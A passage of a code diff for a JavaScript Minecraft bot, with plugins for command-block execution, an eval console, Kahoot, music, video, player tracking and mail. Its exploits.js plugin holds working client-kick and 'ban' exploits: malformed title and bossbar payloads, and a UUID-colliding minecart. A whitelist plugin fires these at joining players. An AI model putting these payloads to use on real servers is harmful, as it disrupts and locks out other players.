bot.console.error(`Error executing ${command} in console: ${util.inspect(err)}`)
}
} else {
bot.fancyMsg('test', '_ChipMC_', line)
rl?.prompt(true)
}
}
}
}
module.exports.bot = inject

60
plugins/core.js Normal file
View file

@ -0,0 +1,60 @@
const nbt = require('prismarine-nbt')
const SNBT = require('../util/snbt')
function inject (bot) {
// const mcData = require('minecraft-data')(bot._client.version)
// const commandBlocks = [ mcData.blocksByName.command_block.id, mcData.blocksByName.chain_command_block.id, mcData.blocksByName.repeating_command_block.id ]
const core = {}
core.pos = { x: null, y: null, z: null }
core.size = { fromX: -8, fromY: 0, fromZ: -8, toX: 8, toY: 0, toZ: 8 }
core.block = { x: core.size.fromX, y: core.size.fromY, z: core.size.fromZ }
core.refill = () => bot.chat.queue.push(`/fill ${core.pos.x + core.size.fromX} ${core.pos.y + core.size.fromY} ${core.pos.z + core.size.fromZ} ${core.pos.x + core.size.toX} ${core.pos.y + core.size.toY} ${core.size.toZ + core.pos.z} repeating_command_block${SNBT.stringify(nbt.comp({ CustomName: nbt.string(JSON.stringify('')) }))} destroy`)
core.reset = (position = bot.position) => {
core.pos = { x: Math.round(position.x), y: 0, z: Math.round(position.z) }
core.block = { x: core.size.fromX, y: core.size.fromY, z: core.size.fromZ }
core.refill()
}
core.run = async (command) => {
if (!bot.loggedIn || !command) return
core.block.x++
if (core.block.x > core.size.toX) {
core.block.x = core.size.fromX
core.block.z++
if (core.block.z > core.size.toZ) {
core.block.z = core.size.fromZ
core.block.y++
if (core.block.y > core.size.toY) {
core.block.x = core.size.fromX
core.block.y = core.size.fromY
core.block.z = core.size.fromZ
}
}
}
const location = { x: core.pos.x + core.block.x, y: core.pos.y + core.block.y, z: core.pos.z + core.block.z }
bot._client.write('update_command_block', { location, command, mode: 1, flags: 0b100 })
if (bot.brand !== 'kaboom') {
setTimeout(() =>
bot._client.write('update_command_block', { location, command: '', mode: 1, flags: 0b100 }
), 50)
}
}
// bot._client.on('block_change', (packet) => {
// if (packet.location.x >= (core.pos.x + core.size.fromX) && packet.location.x <= (core.pos.x + core.size.toX)
// && packet.location.y >= (core.pos.y + core.size.fromY) && packet.location.y <= (core.pos.y + core.size.toY)
// && packet.location.z >= (core.pos.z + core.size.fromZ) && packet.location.z <= (core.pos.z + core.size.toZ)
// && !commandBlocks.includes(packet.type))
// bot.core.refill()
// })
bot.core = core
bot._client.on('position', (position) => {
bot.core.reset(position)
})
setInterval(bot.core.reset, 60 * 1000)
}
module.exports.bot = inject

131
plugins/eval.js Normal file
View file

@ -0,0 +1,131 @@
const vm = require('vm')
const util = require('util')
let clearString = ''
for (let i = 0; i < 100; i++) { clearString += '\n' }
function inject (bot) {
bot.eval = function eval(code) {
const context = bot.eval.context
return vm.runInContext(code, context)
}
reset()
function reset () {
const context = vm.createContext() // create the context
context._reset = reset // reset function
vm.runInContext('const reset = _reset', context)
delete context._reset
context.global = context // global
const Error = vm.runInContext('Error', context) // errors
Error.stackTraceLimit = 0
/*context._Error = () => Error()
vm.runInContext('const Error = _Error', context)
delete context._Error*/
function _log (...data) { // console
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(util.format(...data)))
}
// TODO: Implement more
context.console = {
log (...data) { _log(...data) },
warn (...data) { _log(...data) },
dir (item, options) {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(util.inspect(item)))
},
/*time: [Function: time],
timeEnd: [Function: timeEnd],
timeLog: [Function: timeLog],*/
trace (...data) { _log('Trace:', ...data) },
//assert: [Function: assert],
clear () { bot.core.run('minecraft:tellraw @a ' + JSON.stringify(clearString)) },
/*count: [Function: count],
countReset: [Function: countReset],
group: [Function: group],
groupEnd: [Function: groupEnd],
table: [Function: table],*/
debug (...data) { _log(...data) },
info (...data) { _log(...data) },
// dirxml: [Function: dirxml],
error (...data) { _log(...data) },
/*groupCollapsed: [Function: groupCollapsed],
profile: [Function: profile],
profileEnd: [Function: profileEnd],
timeStamp: [Function: timeStamp],*/
context () { return context.console }
}
context.core = bot.core.run // core function
// set/clear interval/timeout/immediate
//context.clearInterval = clearInterval
context.clearTimeout = clearTimeout
//context.setInterval = setInterval
context.setTimeout = setTimeout
//context.clearImmediate = clearImmediate
//context.setImmediate = setImmediate
bot.eval.context = context
}
}
/*function coloredInspect (func) {
const oldColors = util.inspect.colors
const prefix = '\x1b['
util.inspect.colors = {
reset: [ '\xa7', 'r' ],
bold: [ '\xa7', 'l' ],
dim: [ '', '' ],
italic: [ '\xa7', 'o' ],
underline: [ '\xa7', 'n' ],
blink: [ '\xa7', 'k' ],
inverse: [ '', '' ],
hidden: [ '', '' ],
strikethrough: [ '\xa7', 'm' ],
doubleunderline: [ '\xa7', 'n' ],
black: [ '\xa7', '0' ],
red: [ '\xa7', '4' ],
green: [ '\xa7', '2' ],
yellow: [ '\xa7', '6' ],
blue: [ '\xa7', '1' ],
magenta: [ '\xa7', '6' ],
cyan: [ '\xa7', '3' ],
white: [ '\xa7', 'f' ],
bgBlack: [ '\xa7', '0' ],
bgRed: [ '\xa7', '4' ],
bgGreen: [ '\xa7', '2' ],
bgYellow: [ '\xa7', '6' ],
bgBlue: [ '\xa7', '1' ],
bgMagenta: [ '\xa7', '6' ],
bgCyan: [ '\xa7', '3' ],
bgWhite: [ '\xa7', 'f' ],
framed: [ '', '' ],
overlined: [ '\xa7', 'n' ],
gray: [ '\xa7', '7' ],
redBright: [ '\xa7', 'c' ],
greenBright: [ '\xa7', 'a' ],
yellowBright: [ '\xa7', 'e' ],
blueBright: [ '\xa7', '9' ],
magentaBright: [ '\xa7', 'd' ],
cyanBright: [ '\xa7', 'b' ],
whiteBright: [ '\xa7', 'f' ],
bgGray: [ '\xa7', '7' ],
bgRedBright: [ '\xa7', 'c' ],
bgGreenBright: [ '\xa7', 'a' ],
bgYellowBright: [ '\xa7', 'e' ],
bgBlueBright: [ '\xa7', '9' ],
bgMagentaBright: [ '\xa7', 'd' ],
bgCyanBright: [ '\xa7', 'b' ],
bgWhiteBright: [ '\xa7', 'f' ],
}
const result = func().replace(/\x1b\[\xa7.?/, m => m.slice(prefix.length))
util.inspect.colors = oldColors
return result
}*/
module.exports.bot = inject

40
plugins/exploits.js Normal file
View file

@ -0,0 +1,40 @@
const nbt = require('prismarine-nbt')
const SNBT = require('../util/snbt.js')
const toNBTUUID = require('./../util/uuid-to-nbt-uuid.js')
const kick = [{ nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }]
let lootTable = 'minecraft:'
while (lootTable.length <= 256) { lootTable += 'i' }
function inject (bot) {
bot.exploits = {
titleKick: function (selector) {
return new Promise((resolve) => {
bot.core.run(`minecraft:title ${selector} title ${JSON.stringify(kick)}`)
bot.once('player_info', resolve)
})
},
uuidBan: function (UUID) {
return new Promise((resolve) => {
const nbtUUID = toNBTUUID(UUID)
bot.exploits.titleKick(`@p[nbt=${SNBT.stringify(nbt.comp({ UUID: nbtUUID }))}]`).then((packet) => {
bot.core.run('minecraft:summon chest_minecart ~ ~ ~ ' + SNBT.stringify(nbt.comp({ UUID: nbtUUID, LootTable: nbt.string(lootTable), NoGravity: nbt.byte(1) })))
resolve(packet)
})
})
},
bossbarBan: function (selector) {
bot.core.run(`/bossbar add ban title ${JSON.stringify(kick)}`)
setTimeout(() => bot.core.run(`/minecraft:bossbar set ban players ${selector}`), 50)
},
chunkBan: function () {
// i will add code later
},
execute: function (args) {
bot.core.run(`minecraft:execute unless data entity @p run ${args}`)
}
}
}
module.exports.bot = inject

15
plugins/fancyMsg.js Normal file
View file

@ -0,0 +1,15 @@
function inject (bot) {
bot.fancyMsg = function (rank, username, message) {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: '', color: 'gray' },
{ text: '[', color: 'dark_gray' },
rank,
{ text: '] ', color: 'dark_gray' },
{ text: username, color: bot.colors.secondary },
{ text: ' ', color: 'dark_gray' },
message
])}`)
}
}
module.exports.bot = inject

14
plugins/function.js Normal file
View file

@ -0,0 +1,14 @@
const fs = require('fs')
function inject (bot) {
bot.runFunction = function (filepath) {
const commands = fs.readFileSync(filepath).toString().replace(/\r\n?/g, '\n').split('\n')
let i = 0
const interval = setInterval(() => {
if (!commands[i]?.startsWith('#')) { bot.exploits.execute('run ' + commands[i]) }
if (++i > commands.length) { clearInterval(interval) }
}, 50)
}
}
module.exports = inject

16
plugins/get-entity-pos.js Normal file
View file

@ -0,0 +1,16 @@
// const nbt = require('prismarine-nbt')
// const SNBT = require('../util/snbt.js')
// const toNBTUUID = require('./../util/uuid-to-nbt-uuid.js')
function inject (bot) {
bot.getEntityPos = function getEntityPos (selector, callback) {
if (typeof callback !== 'function') throw new Error('the callback must be a function lol')
bot.exploits.execute(`run teleport ${bot._client.uuid} ${selector}`)
bot._client.once('position', callback)
setTimeout(() =>
bot._client.removeListener('position', callback)
, 3000)
}
}
module.exports.bot = inject

85
plugins/kahoot.js Normal file
View file

@ -0,0 +1,85 @@
const Kahoot = require('kahoot.js-api')
const questionColors = ['red', 'aqua', 'yellow', 'green']
const questionSymbols = ['▲', '♦', '●', '■']
function inject (bot) {
const answerError = () => bot.core.run(`minecraft:tellraw @a ${kahootErrMsg('You cannot currently answer.')}`)
bot.kahoot ??= {}
bot.kahoot.playing ??= false
bot.kahoot.answer ??= answerError
bot.kahoot.client ??= new Kahoot()
bot.kahoot.leave = () => {
bot.core.run(`minecraft:tellraw @a ${kahootMsg('Leaving...')}`)
bot.kahoot.client?.leave()
bot.kahoot.playing = false
}
bot.kahoot.join = function (pin, username = 'Player') {
if (bot.kahoot.playing) {
bot.core.run(`minecraft:tellraw @a ${kahootErrMsg('The bot is already playing kahoot.')}`)
return
}
bot.kahoot.playing = true
bot.kahoot.client = new Kahoot()
bot.kahoot.client.join(pin, username).catch((err) => {
bot.kahoot.playing = false
bot.core.run(`minecraft:tellraw @a ${kahootErrMsg(err.description)}`)
})
bot.kahoot.client.on('Joined', () =>
bot.core.run(`minecraft:tellraw @a ${kahootMsg('Successfully joined the kahoot.')}`)
)
bot.kahoot.client.on('QuizStart', () =>
bot.core.run(`minecraft:tellraw @a ${kahootMsg('The quiz has started.')}`)
)
bot.kahoot.client.on('QuestionReady', (question) =>
bot.core.run(`minecraft:tellraw @a ${kahootMsg(`A ${question.type} question will start in ${question.timeLeft} seconds.`)}`)
)
bot.kahoot.client.on('QuestionStart', (question) => {
bot.kahoot.answer = (answer) => {
question.answer(answer)
bot.kahoot.answer = answerError
}
bot.core.run(`minecraft:tellraw @a ${kahootMsg(`A ${question.type} question has started (Time Left: ${question.timeLeft / 1000} seconds).`)}`)
const answersMsg = ['']
for (let i = 0; i < question.numberOfChoices; i++) {
answersMsg.push({ text: '[', color: questionColors[i], clickEvent: { action: 'run_command', value: `${bot.prefix}kahoot answer ${i}` }, hoverEvent: { action: 'show_text', value: 'Click to answer' } })
answersMsg.push({ text: questionSymbols[i], clickEvent: { action: 'run_command', value: `${bot.prefix}kahoot answer ${i}` }, hoverEvent: { action: 'show_text', value: 'Click to answer' } })
answersMsg.push({ text: '] ', color: questionColors[i], clickEvent: { action: 'run_command', value: `${bot.prefix}kahoot answer ${i}` }, hoverEvent: { action: 'show_text', value: 'Click to answer' } })
}
bot.core.run(`minecraft:tellraw @a ${JSON.stringify(answersMsg)}`)
})
bot.kahoot.client.on('QuestionEnd', (results) => {
bot.kahoot.answer = answerError
bot.core.run(`minecraft:tellraw @a ${kahootMsg(`You answered ${results.isCorrect ? '' : 'in'}correctly! You currently have ${results.points} points.`)}`)
})
bot.kahoot.client.on('QuizEnd', (results) =>
bot.core.run(`minecraft:tellraw @a ${kahootMsg(`The quiz has ended! Your rank is: ${results.rank}.`)}`)
)
bot.kahoot.client.on('Disconnect', (reason) => {
bot.core.run(`minecraft:tellraw @a ${kahootMsg(`Disconnected: ${reason}`)}`)
})
}
}
function kahootMsg (message) {
return JSON.stringify([
{ text: '', color: 'gray' },
{ text: '[', color: 'dark_gray' },
{ text: 'Kahoot', color: 'dark_purple' },
{ text: '] ', color: 'dark_gray' },
message
])
}
function kahootErrMsg (message) {
return JSON.stringify([
{ text: '', color: 'red' },
{ text: '[', color: 'dark_gray' },
{ text: 'Kahoot', color: 'dark_purple' },
{ text: '] ', color: 'dark_gray' },
message
])
}
module.exports.bot = inject

15
plugins/kbwl.js Normal file
View file

@ -0,0 +1,15 @@
function inject (bot) {
bot.kbwl = {}
bot.kbwl.enabled = false
bot.kbwl.players = ['_ChipMC_']
bot._client.on('player_info', (packet) => {
if (bot.kbwl.enabled && packet.action === 0) {
packet.data.forEach((player) => {
if (player.UUID !== bot._client.uuid && !bot.kbwl.players.includes(player.name)) { bot.exploits.titleKick(`@a[name="${player.name.replace(/"/, '\\"')}"]`) }
})
}
})
}
module.exports.bot = inject

28
plugins/mail.js Normal file
View file

@ -0,0 +1,28 @@
const fs = require('fs')
const path = require('path')
const filepath = path.resolve('persistent', 'mail.json')
// load the blacklist
let mail = {}
try {
mail = require(filepath)
} catch (e) {
console.log('An error occured while loading the mail.')
}
// save it every 5 minutes
setInterval(() => {
fs.writeFileSync(filepath, JSON.stringify(mail, null, 2))
}, 5 * 6000)
// make the bot uuid ban blacklisted players
function inject (bot) {
bot.mail = mail
bot.sendMail = (sender, reciever, message) => {
if (!mail[reciever]) mail[reciever] = []
mail[reciever].push({ sender: sender, message, host: bot.host })
}
}
module.exports.bot = inject

131
plugins/music.js Normal file
View file

@ -0,0 +1,131 @@
const fs = require('fs')
const convertMidi = require('../util/convert-midi.js')
const convertNBS = require('../util/nbs-converter.js')
function inject (bot) {
bot.music = {
playing: false,
queue: [],
nowPlaying: undefined,
looping: false,
_interval: null,
_playNextSong,
skip,
stop,
play
}
bot.music.nowPlaying = {
name: '',
tick: {
current: null,
total: null
// npt: null
}
}
setInterval(() => {
if (!bot.music.playing) return
const msg = [
{ text: 'Now Playing', color: bot.colors.primary },
{ text: ' | ', color: 'dark_gray' },
{ text: bot.music.nowPlaying.name, color: bot.colors.secondary, bold: true },
{ text: ' | ', color: 'dark_gray' },
format(bot.music.nowPlaying.time),
{ text: ' / ', color: 'gray' },
format(bot.music.nowPlaying.length)
// { text: ' (', color: 'dark_gray' },
// bot.music.nowPlaying.note.npt + ' npt',
// { text: ')', color: 'dark_gray' }
]
if (bot.music.looping) {
msg.push({ text: ' | ', color: 'dark_gray' })
msg.push({ text: 'Looping', color: bot.colors.secondary })
}
bot.core.run('/title @a actionbar ' + JSON.stringify(msg))
}, 500)
function _playNextSong () {
const song = bot.music.queue.shift()
if (song != null) play(song)
}
function skip () {
clearInterval(bot.music._interval)
bot.music.playing = false
if (bot.music.queue.length !== 0) _playNextSong()
}
function stop () {
bot.music.queue = []
clearInterval(bot.music._interval)
bot.music.playing = false
}
function play (filepath) {
// set stuff up
let song
try {
if (filepath.endsWith('.nbs')) {
song = convertNBS(fs.readFileSync(filepath), filepath)
} else song = convertMidi(filepath)
song.time = 0
bot.music.nowPlaying = song
} catch (err) {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: err.message, color: bot.colors.error }))
return
}
// play the music lol
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: 'Now playing ', color: bot.colors.primary },
{ text: song.name, color: bot.colors.secondary },
'.'
])}`)
bot.music.playing = true
bot.music.looping = song.loop
let startTime = (new Date()).valueOf()
let notes = [ ...song.notes ]
bot.music._interval = setInterval(async () => {
const time = (new Date()).valueOf() - startTime
song.time = time
notes.forEach(async (note, i) => {
if (time >= note.time) {
const floatingpitch = Math.pow(2, (note.pitch - 12) / 12.0)
bot.core.run(`minecraft:execute at @a run playsound block.note_block.${note.instrument} record @p ^1 ^ ^ 99 ${floatingpitch}`)
bot.core.run(`minecraft:execute at @a run playsound block.note_block.${note.instrument} record @p ^-1 ^ ^ 99 ${floatingpitch}`)
notes.splice(i, 1)
}
})
song.time++
if (time > song.length) {
if (bot.music.looping) {
notes = [ ...song.notes ]
startTime = (new Date()).valueOf() + song.loopPosition
return
}
clearInterval(bot.music._interval)
bot.music.playing = false
bot.core.run('/tellraw @a ' + JSON.stringify([
{ text: 'Finished playing ', color: 'green' },
{ text: bot.music.nowPlaying.name, color: 'dark_green' },
'.'
]))
if (bot.music.queue.length !== 0) _playNextSong()
}
}, 50)
}
}
function format (ms) {
const s = ms / 1000
const seconds = Math.floor(s / 60).toString()
const minutes = Math.floor(s % 60).toString()
return seconds + ':' + (minutes.length <= 1 ? '0' : '') + minutes
}
module.exports.bot = inject

15
plugins/players.js Normal file
View file

@ -0,0 +1,15 @@
function inject (bot, client) {
bot.players ??= {}
client.on('player_info', (packet) => {
if (packet.action === 0) {
packet.data.forEach((player) => {
bot.players[player.name] = player
bot.players[player.UUID] = player
if (player.UUID === bot._client.uuid) { bot.player = player }
})
}
})
}
module.exports.client = inject

49
plugins/seen.js Normal file
View file

@ -0,0 +1,49 @@
const fs = require('fs')
const path = require('path')
const filepath = path.resolve('persistent', 'seen.json')
// load the seen data
let seen = {}
try {
seen = require(filepath)
} catch (e) {
console.log('An error occured while loading seen players.')
}
// save it every 5 minutes
setInterval(() => {
fs.writeFileSync(filepath, JSON.stringify(seen, null, 2))
}, 5 * 6000)
// expose the data to the bot
function bot (bot) {
bot.seen = seen
}
// add players to it
function client (bot, client) {
client.on('player_info', (packet) => {
packet.data.forEach((player) => {
if (player.UUID === client.uuid) return
if (packet.action !== 0) {
const name = bot.players[player.UUID]?.name
if (seen[name] != null) seen[name].last = new Date()
return
}
seen[player.name] ??= {}
if (seen[player.name].first == null) {
seen[player.name].first = new Date()
bot.core.run('minecraft:tellraw @a ' + JSON.stringify([
{ text: 'Welcome ', color: bot.colors.primary },
{ text: player.name, color: bot.colors.secondary },
' to the server!'
]))
}
seen[player.name].last = new Date()
})
})
}
module.exports = { bot, client }

98
plugins/video.js Normal file
View file

@ -0,0 +1,98 @@
const ffmpeg = require('fluent-ffmpeg')
const tmp = require('tmp')
const fs = require('fs')
const path = require('path')
const canvas = require('canvas')
const colorsys = require('colorsys')
const { randomUUID } = require('crypto')
const nbt = require('prismarine-nbt')
const SNBT = require('../util/snbt.js')
const toNBTUUID = require('./../util/uuid-to-nbt-uuid.js')
const cnv = canvas.createCanvas(256, 144)
const ctx = cnv.getContext('2d')
function inject (bot) {
const video = {
nowPlaying: null,
_interval: null,
_tmpobj: null,
play,
stop,
summon
}
bot.video = video
async function play (input, uuids) {
uuids ??= await summon(cnv.height)
video._tmpobj = tmp.dirSync()
bot.core.run('minecraft:tellraw @a ' + JSON.stringify('Extracting frames from the video...'))
ffmpeg(input)
.output(path.join(video._tmpobj.name, '%01d.bmp'))
.fps(30)
.size(cnv.width + 'x' + cnv.height)
.on('error', (err) => bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: require('util').inspect(err).replace(/\n.*/g, ''), color: 'red' })))
.on('end', playVideo)
.run()
function playVideo () {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify('Now playing the video'))
const frames = []
fs.readdirSync(video._tmpobj.name).forEach((filename) => {
const filepath = path.join(video._tmpobj.name, filename)
let num = filename
// while (num.length !== 0 && !/\d/.test(num[0])) {
// num = num.slice(1)
// }
num = parseInt(num)
frames[num] = filepath
})
let i = 0
video._interval = setInterval(async () => {
const img = await canvas.loadImage(frames[i++]).catch(({ message }) => bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: message, color: 'red' })))
if (!(img ?? false)) return
fs.unlink(frames[i - 1], () => {})
ctx.drawImage(img, 0, 0, cnv.width, cnv.height)
const rgba = ctx.getImageData(0, 0, cnv.width, cnv.height).data
let line = []
let k = 0
for (let j = 0; j < rgba.length; j += 4) {
const r = rgba[j]
const g = rgba[j + 1]
const b = rgba[j + 2]
const hex = colorsys.rgbToHex(r, g, b)
if (line.length >= 1 && line[line.length - 1].color === hex) line[line.length - 1].text += '╷'
else line.push({ text: '╷', color: hex })
if (((j / 4) % cnv.width) === 0) {
bot.core.run(`minecraft:data modify entity ${uuids[k++]} CustomName set value ${SNBT.stringify(nbt.string(JSON.stringify(line)))}`)
line = []
}
}
if (i >= frames.length) stop()
}, 33.33333)
}
}
function stop () {
clearInterval(video._interval)
video._tmpobj?.removeCallback()
}
function summon (amount) {
return new Promise((resolve) => {
const uuids = []
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: 'Summoning armor stands...' }))
video._interval = setInterval(() => {
const uuid = randomUUID()
bot.exploits.execute(`at _ChipMC_ run summon armor_stand ~ ~${uuids.length * -0.1} ~ ${SNBT.stringify(nbt.comp({ UUID: toNBTUUID(uuid), CustomNameVisible: nbt.byte(1), Invisible: nbt.byte(1), Marker: nbt.byte(1) }))}`)
uuids.push(uuid)
if (uuids.length >= amount) {
clearInterval(video._interval)
resolve(uuids)
}
}, 100)
})
}
}
module.exports.bot = inject

7
start.sh Executable file
View file

@ -0,0 +1,7 @@
while true
do
echo Starting Bot
node .
echo Restarting Bot in 6 Seconds...
sleep 6
done

30
util/convert-image.js Normal file
View file

@ -0,0 +1,30 @@
const canvas = require('canvas')
const cnv = canvas.createCanvas(426.6, 240)
const ctx = cnv.getContext('2d')
const colorsys = require('colorsys')
async function convertImage (src, callback) {
const img = await canvas.loadImage(src).catch(callback)
if (!(img ?? false)) return
ctx.drawImage(img, 0, 0, cnv.width, cnv.height)
const rgba = ctx.getImageData(0, 0, cnv.width, cnv.height).data
const lines = []
let line = []
for (let i = 0; i < rgba.length; i += 4) {
const r = rgba[i]
const g = rgba[i + 1]
const b = rgba[i + 2]
// const a = rgba[i + 3];
const hex = colorsys.rgbToHex(r, g, b)
if (line.length >= 1 && line[line.length - 1].color === hex) { line[line.length - 1].text += '.' } else { line.push({ text: '.', color: hex }) }
if (((i / 4) % cnv.width) === 0) {
lines.push(JSON.stringify(line))
line = []
}
}
callback(undefined, lines)
}
module.exports = convertImage

151
util/convert-midi.js Normal file
View file

@ -0,0 +1,151 @@
const fs = require('fs')
const { Midi } = require('@tonejs/midi')
const instrumentOffsets = [
54, // harp
0, // basedrum
0, // snare
0, // hat
30, // bass
66, // flute
78, // bell
42, // guitar
78, // chime
78, // xylophone
54, // iron xylophone
66, // cow bell
30, // didgeridoo
54, // bit
54, // banjo
54 // electric piano
]
const instrumentNames = require('./instrument-names.json')
const path = require('path/posix')
function convertMidi (filepath, lyrics = undefined) {
const midiData = fs.readFileSync(filepath)
const midi = new Midi(midiData)
const noteList = []
let length = 0
for (const track of midi.tracks) {
for (const note of track.notes) {
const mcNote = convertNote(track, note)
if (mcNote !== undefined) {
noteList.push(mcNote)
length = Math.max(length, mcNote.tick)
}
}
}
noteList.sort((a, b) => {
return a.tick - b.tick
})
// normalize volume
let maxVolume = 0.001
for (const note of noteList) {
if (note.volume > maxVolume) {
maxVolume = note.volume
}
}
for (const note of noteList) {
note.volume /= maxVolume
}
if (lyrics) {
parseLyrics(midiData, midi, lyrics)
}
return {
name: midi?.meta?.name ?? path.basename(filepath),
notes: noteList,
loop: false,
loopPosition: 0,
length
}
}
function convertNote (track, note) {
const midiPitch = note.midi
const midiInstrument = track.instrument.number
let mcInstrumentID = 0
let mcPitchID = 0
if (track.instrument.percussion) {
if (midiPitch === 35 || midiPitch === 36 || midiPitch === 41 || midiPitch === 43 || midiPitch === 45 || midiPitch === 57) {
mcInstrumentID = 1 // bass drum
} else if (midiPitch === 38 || midiPitch === 39 || midiPitch === 40 || midiPitch === 54 || midiPitch === 69 || midiPitch === 70 || midiPitch === 73 || midiPitch === 74 || midiPitch === 78 || midiPitch === 79) {
mcInstrumentID = 2 // snare
} else if (midiPitch === 37 || midiPitch === 42 || midiPitch === 44 || midiPitch === 46 || midiPitch === 49 || midiPitch === 51 || midiPitch === 52 || midiPitch === 55 || midiPitch === 57 || midiPitch === 59) {
mcInstrumentID = 3 // hat
} else {
return undefined
}
mcPitchID = 0
} else {
if ((midiInstrument >= 0 && midiInstrument <= 7) || (midiInstrument >= 24 && midiInstrument <= 31)) { // normal
if (midiPitch >= 54 && midiPitch <= 78) {
mcInstrumentID = 0 // piano
} else if (midiPitch >= 30 && midiPitch <= 54) {
mcInstrumentID = 4 // bass
} else if (midiPitch >= 78 && midiPitch <= 102) {
mcInstrumentID = 6 // bells
}
} else if (midiInstrument >= 8 && midiInstrument <= 15) { // chromatic percussion
if (midiPitch >= 54 && midiPitch <= 78) {
mcInstrumentID = 10 // iron xylophone
} else if (midiPitch >= 78 && midiPitch <= 102) {
mcInstrumentID = 9 // xylophone
} else if (midiPitch >= 30 && midiPitch <= 54) {
mcInstrumentID = 4 // bass
}
} else if ((midiInstrument >= 16 && midiInstrument <= 23) || (midiInstrument >= 32 && midiInstrument <= 71) || (midiInstrument >= 80 && midiInstrument <= 111)) { // synth
if (midiPitch >= 54 && midiPitch <= 78) { // bit
mcInstrumentID = 13
} else if (midiPitch >= 30 && midiPitch <= 54) { // didgeridoo
mcInstrumentID = 12
} else if (midiPitch >= 78 && midiPitch <= 102) { // bells
mcInstrumentID = 6
}
} else if (midiInstrument >= 72 && midiInstrument <= 79) { // woodwind
if (midiPitch >= 66 && midiPitch <= 90) {
mcInstrumentID = 5 // flute
} else if (midiPitch >= 30 && midiPitch <= 54) { // didgeridoo
mcInstrumentID = 12
} else if (midiPitch >= 54 && midiPitch <= 78) { // bit
mcInstrumentID = 13
}
} else {
return undefined
}
mcPitchID = midiPitch - instrumentOffsets[mcInstrumentID]
}
return { time: Math.floor(note.time * 1000), instrument: instrumentNames[mcInstrumentID], pitch: mcPitchID, volume: note.velocity }
}
function parseLyrics (midiArray, midi, lyrics) {
midiArray = new Uint8Array(midiArray)
const midiData = require('midi-file').parseMidi(midiArray)
midiData.tracks.forEach(track => {
let lastTick = 0
let currentTicks = 0
track.forEach(event => {
currentTicks += event.deltaTime
if (event.meta && event.type === 'lyrics') {
const time = midi.header.ticksToSeconds(currentTicks)
const tick = Math.floor(time * 20)
if (!lyrics[tick]) {
lyrics[tick] = event.text
} else if (tick === lastTick) {
lyrics[tick] += event.text
}
lastTick = tick
}
})
})
}
module.exports = convertMidi

View file

@ -0,0 +1,18 @@
[
"harp",
"basedrum",
"snare",
"hat",
"bass",
"flute",
"bell",
"guitar",
"chime",
"xylophone",
"iron_xylophone",
"cow_bell",
"didgeridoo",
"bit",
"banjo",
"pling"
]

63
util/nbs-converter.js Normal file
View file

@ -0,0 +1,63 @@
const nbs = require('./nbs-file.js')
const path = require('path')
const instrumentNames = [
'harp',
'bass',
'basedrum',
'snare',
'hat',
'guitar',
'flute',
'bell',
'chime',
'xylophone',
'iron_xylophone',
'cow_bell',
'didgeridoo',
'bit',
'banjo',
'pling'
]
function convertNBS (buf, filename = 'unknown') {
const parsed = nbs.parse(buf)
const song = {
name: parsed.songName.trim().length > 0 ? parsed.songName : path.basename(filename),
notes: [],
loop: false,
loopPosition: 0,
length: 0
}
if (parsed.loop > 0) {
song.loop = true
song.loopPosition = parsed.loopStartTick
}
for (const note of parsed.nbsNotes) {
let instrument = note.instrument
if (note.instrument < instrumentNames.length) {
instrument = instrumentNames[note.instrument]
} else continue
if (note.key < 33 || note.key > 55) continue
const layerVolume = 100
// will add layer volume later
const time = tickToMs(note.tick, parsed.tempo)
song.length = Math.max(song.length, time)
song.notes.push({
instrument,
pitch: note.key - 33,
volume: note.velocity * layerVolume / 10000,
time
})
}
return song
}
function tickToMs (tick = 1, tempo) {
return Math.floor(1000 * tick * 100 / tempo)
}
module.exports = convertNBS

170
util/nbs-file.js Normal file
View file

@ -0,0 +1,170 @@
// const fs = require('fs')
// const path = require('path')
// const instrumentNames = require('./instrument-names.json')
function parse (buf) {
// const buf = fs.readFileSync(filepath)
let i = 0
let songLength = 0
let format = 0
let vanillaInstrumentCount = 0
songLength = readShort()
if (songLength === 0) {
format = readByte()
}
if (format >= 1) {
vanillaInstrumentCount = readByte()
}
if (format >= 3) {
songLength = readShort()
}
const layerCount = readShort()
const songName = readString()
const songAuthor = readString()
const songOriginalAuthor = readString()
const songDescription = readString()
const tempo = readShort()
const autoSaving = readByte()
const autoSavingDuration = readByte()
const timeSignature = readByte()
const minutesSpent = readInt()
const leftClicks = readInt()
const rightClicks = readInt()
const blocksAdded = readInt()
const blocksRemoved = readInt()
const origFileName = readString()
let loop = 0
let maxLoopCount = 0
let loopStartTick = 0
if (format >= 4) {
loop = readByte()
maxLoopCount = readByte()
loopStartTick = readShort()
}
const nbsNotes = []
let tick = -1
while (true) {
const tickJumps = readShort()
if (tickJumps === 0) break
tick += tickJumps
let layer = -1
while (true) {
const layerJumps = readShort()
if (layerJumps === 0) break
layer += layerJumps
const note = NBSNote()
note.tick = tick
note.layer = layer
note.instrument = readByte()
note.key = readByte()
if (format >= 4) {
note.velocity = readByte()
note.panning = readByte()
note.pitch = readShort()
}
nbsNotes.push(note)
}
}
const nbsLayers = []
if (i <= buf.length) {
for (let j = 0; j < layerCount; j++) {
const layer = NBSLayer()
layer.name = readString()
if (format >= 4) {
layer.lock = readByte()
}
layer.volume = readByte()
if (format >= 2) {
layer.stereo = readByte()
}
nbsLayers.push(layer)
}
}
return {
songLength,
format,
vanillaInstrumentCount,
layerCount,
songName,
songAuthor,
songOriginalAuthor,
songDescription,
tempo,
autoSaving,
autoSavingDuration,
timeSignature,
minutesSpent,
leftClicks,
rightClicks,
blocksAdded,
blocksRemoved,
origFileName,
loop,
maxLoopCount,
loopStartTick,
nbsNotes,
nbsLayers
}
function readByte () {
return buf.readInt8(i++)
}
function readShort () {
const byte1 = buf.readUint8(i++)
const byte2 = buf.readUint8(i++)
return (byte1 + (byte2 << 8))
}
function readInt () {
const byte1 = buf.readUint8(i++)
const byte2 = buf.readUint8(i++)
const byte3 = buf.readUint8(i++)
const byte4 = buf.readUint8(i++)
